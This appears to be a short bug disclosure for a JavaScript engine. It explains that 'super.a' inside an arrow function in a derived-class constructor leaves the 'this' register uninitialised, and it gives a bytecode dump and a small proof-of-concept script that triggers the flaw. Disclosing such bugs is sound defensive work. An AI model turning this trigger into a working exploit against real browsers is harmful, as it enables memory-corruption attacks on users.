"EmitAssignment" doesn't call "EmitSuperMethodBegin" that initializes the "this" register for the case when the super keyword is used.
 
Here's the generated bytecode for the lambda function in the PoC. R5 is uninitialized.
Function Anonymous function ( (#1.3), #4) (In0) (size: 7 [7])
      9 locals (1 temps from R8), 1 inline cache
    Constant Table:
    ======== =====
     R1 LdRoot   
     R2 Ld_A       (undefined)
     R3 LdC_A_I4   int:1
    
    0000   ProfiledLdEnvSlot    R6 = [1][4]  <0>
    000c   ProfiledLdEnvSlot    R4 = [1][3]  <1>
 
 
  Line  28: super.a = 1;

PoC:
-->
 
class Parent {
 
};
 
class Child extends Parent {
    constructor() {
        (() => {
            super.a = 10;  // Implicitly use the "this" register. So it must be initialized.
        })();
    }
};
 
new Child();
